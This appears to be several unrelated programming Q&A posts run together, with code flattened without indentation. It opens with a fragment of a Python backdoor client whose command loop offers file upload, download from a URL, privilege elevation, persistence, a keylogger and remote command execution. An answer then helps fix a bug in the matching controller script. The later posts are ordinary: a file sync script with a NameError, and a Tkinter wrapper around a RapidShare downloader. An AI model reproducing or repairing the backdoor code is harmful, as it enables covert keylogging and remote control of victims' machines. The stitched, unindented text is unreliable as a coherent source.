# Upload the file
stdoutput = Upload(s, data[9:])
elif data.startswith("downhttp") == True:
# Download from url
stdoutput = Downhttp(s, data[9:])
# check for upload
elif data.startswith("upload") == True:
# Download the file
stdoutput = Download(s, data[7:])
elif data.startswith("privs") == True:
# Attempt to elevate privs
stdoutput = Privs(s)
elif data.startswith("persist") == True:
# Attempt persistence
if len(data.split(' ')) == 1: stdoutput = Persist(s)
elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1])
elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2])
elif data.startswith("keylog") == True:
# Begin keylogging
if LOG_STATE == False:
try:
# set to True
LOG_STATE = True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
stdoutput = "Logging keystrokes to: "+LOG_FILENAME+"...\n"
except:
ctypes.windll.user32.PostQuitMessage(0)
# set to False
LOG_STATE = False
stdoutput = "Keystrokes have been logged to: "+LOG_FILENAME+".\n"
else:
# execute command.
stdoutput = Exec(data)
# send data
stdoutput = stdoutput+"\n"+os.getcwd()+">"
Send(s, stdoutput)
# loop ends here
if data == "terminate":
break
time.sleep(3)
except socket.error:
s.close()
time.sleep(10)
continue
I would appreciate any pointers.
In xmulti_aeserver.py just above:
# main loop
while True:
.....
write nextcmd = ''. So it will be:
nextcmd = ''
# main loop
while True:
.....
This will define the nextcmd.
Add to this IF statment:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
elif data == '':
nextcmd = raw_input()
else:
nextcmd = raw_input()
You only define nextcmd in one branch of an if-else statement:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
but then assume that it is defined on line 207. You are missing the case where data is the empty string, which prevents nextcmd from being defined when you try to access it.
It looks like you have
if data == 'quitted':
....
elif data != '':
....
nextcmd = raw_input()
But if data=='', nextcmd is not set to anything, which causes the error when you try and use it.
I've programmed a python script to backup my files, something like Dropbox.
But there are some bugs. I have a class called SyncServer, and there are two functions called __init__ and TF1 seperately. TF1 stands for "Thread Function 1".
When I write thread.start_new_thread(TF1, (conn, 0)), the first parameter, I sent a socket object in. Unfortunately, python's IDLE replied with an error: NameError: global name 'TF1' is not defined
# -*- coding: cp950 -*-
import wx, socket, os, md5, thread, threading
class SyncClient:HOST = "127.0.0.1"
def __init__(self):
self.config = {}
open("sync.config", "a").close()
f = open("sync.config", "r")
line = f.readline()
while line:
tmp = line.split(":")
self.config[tmp[0]] = ":".join(tmp[1:]).split("\n")[0]
line = f.readline()
f.close()
ex = wx.App()
ex.MainLoop()
if (not self.config.has_key("id")) or (not self.config.has_key("password")) or (not self.config.has_key("port")) or (not self.config.has_key("path")):
wx.MessageBox('something wrong. Q__________________________Q', 'Error',
wx.OK | wx.ICON_ERROR)
return
if (not os.access(self.config["path"], os.F_OK)):
wx.MessageBox("It seems that " + self.config["path"] + " doesn't exist.", 'Error',
wx.OK | wx.ICON_ERROR)
return
if int(self.config['port']) > 5:
wx.MessageBox('something wrong. Q__________________________Q', 'Error',
wx.OK | wx.ICON_ERROR)
return
chpswd = md5.new(self.config['password']).hexdigest()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.HOST, 7575))
self.s = s;
s.send("CHECK ID")
if s.recv(1024) != "200 OK":
return
s.send(config['id'] + ";;" + chpswd)
if s.recv(1024) == "False":
wx.MessageBox("id and password not match.", 'Error',
wx.OK | wx.ICON_ERROR)
return
self.path = []
for root, dirs, files in os.walk(self.config['path']):
for f in files:
self.path.append(root + f)
self.s.send("FILE NAME")
if self.s.recv(1024) != "200 OK":
continue
self.s.send(f)
if self.s.recv(1024) != "200 OK":
continue
self.s.send("FILE LEN")
if self.s.recv(1024) != "200 OK":
continue
cut = file_cut(root + f)
self.s.send(len(cut))
MakeThread(cut)
def MakeSocket(self):
self.s.send("GIVE ME A PORT")
port = int(self.s.recv(1024))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.HOST, port))
return s
def MakeThread(self, cut):
self.ptr = 0
s = MakeSocket()
for i in self.config['port']:
#s = MakeSocket()
thread.start_new_thread(TF, (s, cut))
def TF(self, Socket, cut):
l = len(cut)
while self.ptr < l:
Socket.send(self.ptr)
if Socket.recv(1024) != "200 OK":
continue
Socket.send(cut[self.ptr])
self.ptr += 1
Socket.close()
def file_cut(self, path):
f = open(path, "rb")
content = f.read()
cut = []
l = len(content)
i = 0
while i < l:
cut.append(content[i:i+1024])
i += 1024
return cut
'''f = open(path, "rb")
cont = f.read()
f.close()
fsize = len(cont)
fname = path.split("\\")[-1]
self.com.send(fname)
check = self.com.recv(1024)
if check != "200 OK": return
self.com.send(str(fsize))
check = self.com.recv(1024)
if check != "200 OK": return
i = 0
while i < fsize + 1025:
Socket.send(cont[i:i+1024])
i += 1024'''
def file_recv(self, Socket, path=".\\"):
fname = self.com.recv(1024)
self.com.send("200 OK")
f = open(path + fname, "wb")
fsize = self.com.recv(1024)
self.com.send("200 OK")
i = 0
while i < fsize + 1025:
line = Socket.recv(1024)
f.write(line)
f.flush()
i += 1024
f.close()
class SyncServer:
def TF1(self, Socket, null):
while True:
data = Socket.recv(1024)
if data == "CHECK ID":
Socket.send("200 OK!")
user = Socket.recv(1024)
u = open("uid.txt","r")
while True:
udata = u.readline().split(" ")
if udata == "":
Socket.send("False")
break
if user.split(";;")[0] == udata[0]:
Flag = True
if user.split(";;")[1] != md5.hexidigest(udata[1]):
Socket.send("False")
else:
self.user = user.split(";;")[0]
self.files[self.user] = []
Socket.send("True")
break
if data == "GIVE ME A PORT":
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", self.portList[0]))
s.listen(1)
Socket.send(self.portList[0])
for i in range(0, flen):
thread.start_new_thread(TF2, (s.accept(), 0))
f = open(fname, "wb")
for line in self.files[self.user]:
f.write(line)
f.close()
#self.port
if data == "FILE NAME":
Socket.send("200 OK")
fname = Socket.recv(1024)
Socket.send("200 OK")
if data == "FILE LEN":
Socket.send("200 OK")
flen = int(Socket.recv(1024))
def TF2(self, Socket, null):
idx = Socket.recv(1024)
Socket.send("200 OK")
line = Socket.recv(1024)
self.files[self.user][idx] = line
def __init__(self):
self.portList = []
self.files = {}
for i in range(7576,7700):
self.portList.append(i)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 7575))
s.listen(1)
while True:
conn, addr = s.accept()
thread.start_new_thread(TF1, (conn, 0))
thread.start_new_thread(TF1, (conn, 0))
Assumes that TF1 is a global.
"NameError: global name 'TF1' is not defined"
States that TF1 is not a global.
It must be that the assumption is wrong.
TF1 is a method function in a class. Therefore, it needs to be qualified either by the class name or by an object instance. Usually, self.TF1 is appropriate.
Please find a Python tutorial where class definitions are covered.
I have searched and found some answers on redirecting the sys.stdout to a text widget in python, but I can't apply them to my specific needs.
I have coded a simple GUI with tkinter for a downloader found here and I want the stdout messages to appear on a text widget, which after much effort I couldn't achieve.
So let's make my case clearer with my code:
from Tkinter import*
import Tkinter as tk
import tkMessageBox
import urllib2
import sys
#functions
def downloadlinks():
# Configuration BEGIN
LOGIN = ''
PASSWORD = ''
USE_SSL = False
VERIFY_MD5SUM = False
# Configuration END
__version__ = '0.1.0'
import sys
import os
import urllib
import subprocess
import time
try:
import hashlib
md5 = hashlib.md5
except ImportError:
import md5
md5 = md5.new
def info(msg):
sys.stdout.write('\n%s\n\n' % msg)
sys.stdout.flush()
def error(msg):
sys.stderr.write('%s\n' % msg)
sys.stderr.flush()
sys.exit(1)
def transfer_progress(blocks_transfered, block_size, file_size):
percent = float((blocks_transfered * block_size * 100) / file_size)
progress = float(blocks_transfered * block_size / 1024)
downspeed = (float(blocks_transfered * block_size) / float(time.time() - starttime)) / 1024
sys.stdout.write("Complete: %.0f%% - Downloaded: %.2fKb - Speed: %.3fkb/s\r" % (percent, progress, downspeed))
sys.stdout.flush()
def download(source, target):
global starttime
starttime = time.time()
filename, headers = urllib.urlretrieve(source, target, transfer_progress)
sys.stdout.write('Complete: 100%\n')
sys.stdout.flush()
for ss in headers:
if ss.lower() == "content-disposition":
filename = headers[ss][headers[ss].find("filename=") + 9:] # 9 is len("filename=")=9
urllib.urlcleanup() # Clear the cache
return filename
def verify_file(remote_md5sum, filename):
f = open(filename, "rb")
m = md5()
while True:
block = f.read(32384)
if not block:
break
m.update(block)
md5sum = m.hexdigest()
f.close()
return md5sum == remote_md5sum
def main():
file_link = "https://rapidshare.com/files/33392/examplefile.rar"
info('Downloading: %s' % file_link.split("/")[5])
try:
rapidshare_com, files, fileid, filename = file_link.rsplit('/')[-4:]
except ValueError:
error('Invalid Rapidshare link')
if not rapidshare_com.endswith('rapidshare.com') or files != 'files':
error('Invalid Rapidshare link')
if USE_SSL:
proto = 'https'
info('SSL is enabled00000000000')
else:
proto = 'http'
if VERIFY_MD5SUM:
info('MD5 sum verification is enabled')
info('Downloading: %s' % file_link.split("/")[5])
if filename.endswith('.html'):
target_filename = filename[:-5]
else:
target_filename = filename
info('Save file as: %s' % target_filename)
# API parameters
params = {
'sub': 'download_v1',
'fileid': fileid,
'filename': filename,
'try': '1',
'withmd5hex': '0',
}
if VERIFY_MD5SUM:
params.update({
'withmd5hex': '1',
})
if LOGIN and PASSWORD:
params.update({
'login': LOGIN,
'password': PASSWORD,
})
params_string = urllib.urlencode(params)
api_url = '%s://api.rapidshare.com/cgi-bin/rsapi.cgi' % proto
# Get the first error response
conn = urllib.urlopen('%s?%s' % (api_url, params_string))
data = conn.read()
#print data
conn.close()
# Parse response
try:
key, value = data.split(':')
except ValueError:
error(data)
try:
server, dlauth, countdown, remote_md5sum = value.split(',')
except ValueError:
error(data)
# Wait for n seconds (free accounts only)
if int(countdown):
for t in range(int(countdown), 0, -1):
sys.stdout.write('Waiting for %s seconds...\r' % t)
sys.stdout.flush()
time.sleep(1)
info('Waited for %s seconds. Proceeding with file download...' % countdown)
# API parameters for file download
dl_params = {
'sub': 'download_v1',
'fileid': fileid,
'filename': filename,
}
if LOGIN and PASSWORD:
dl_params.update({
'login': LOGIN,
'password': PASSWORD,
})
else:
dl_params.update({
'dlauth': dlauth,
})
dl_params_string = urllib.urlencode(dl_params)
download_link = '%s://%s/cgi-bin/rsapi.cgi?%s' % (proto, server, dl_params_string)
downloaded_filename = download(download_link, target_filename)
if VERIFY_MD5SUM:
if remote_md5sum.lower() == 'not found':
info('Remote MD5 sum is not available. Skipping MD5 sum verification...')
elif downloaded_filename:
if verify_file(remote_md5sum.lower(), downloaded_filename):
info('Downloaded and verified %s' % downloaded_filename)
else:
error('The downloaded file could not be verified')
else:
error('Will not verify. File not found: %s' % downloaded_filename)
info('Operation Complete')
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
error('\nAborted')
tkMessageBox.showinfo('Download Status Notification',"All files have been downloaded.")
#Window Title
app=Tk()
app.title("Downloader")
app.geometry('700x1080+550+0')
app.resizable(0,0)
#Title
titleText = StringVar()
titleText.set("Downloader")
label0=Label(app,textvariable=titleText,font=("Times", 16,"bold"),height=2)
label0.pack()
#
f1 = Frame(app, width=600, height=200)
xf1 = Frame(f1, relief=RAISED, borderwidth=5)
#Text
labelText = StringVar()
labelText.set("Enter link:")
label1=Label(f1,textvariable=labelText,font=("Times", 14))
label1.pack(side=LEFT, padx=5,pady=8)
#Field
linkname = StringVar(None)
linkname1 =Entry(f1,textvariable = linkname,font=("Times", 14),justify=CENTER)
linkname1.pack(side=LEFT, padx=5,pady=8)
Label(f1, text='').place(relx=1.06, rely=0.125,anchor=CENTER)
f1.pack()
#Button
downloadbutton=Button(app,text="Download",font=("Times", 12, "bold"),width=20,borderwidth=5,foreground = 'white',background = 'blue',command=downloadlinks)
downloadbutton.pack()
#####
downloadmessages = Text(app,height = 6,width=80,font=("Times", 12),foreground = 'cyan',background='black' )
downloadmessages.insert(END,"")
downloadmessages.pack(padx=20,pady=1)
app.mainloop()
So,let me ask some questions.My code descriptively is like that :
-import modules
-def downloadlinks()
-Window Title
-Title
-Frame with :
Text
Field
-Button
-Text Widget
When it says my_frame = your_gui_code_here(), does it refer to the Text Widget Code ?
downloadmessages = Text(app,height = 6,width=80,font=("Times", 12),foreground = 'cyan', background='black' )
downloadmessages.insert(END,"")
downloadmessages.pack(padx=20,pady=1)
You would need to open it as a subprocess and then pipe the stdout from there to a writeable source.
e.g.
import subprocess
my_frame = your_gui_code_here()
process = subprocess.Popen('ls', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
my_frame.add_text(process.communicate()[0]) #or however you add text.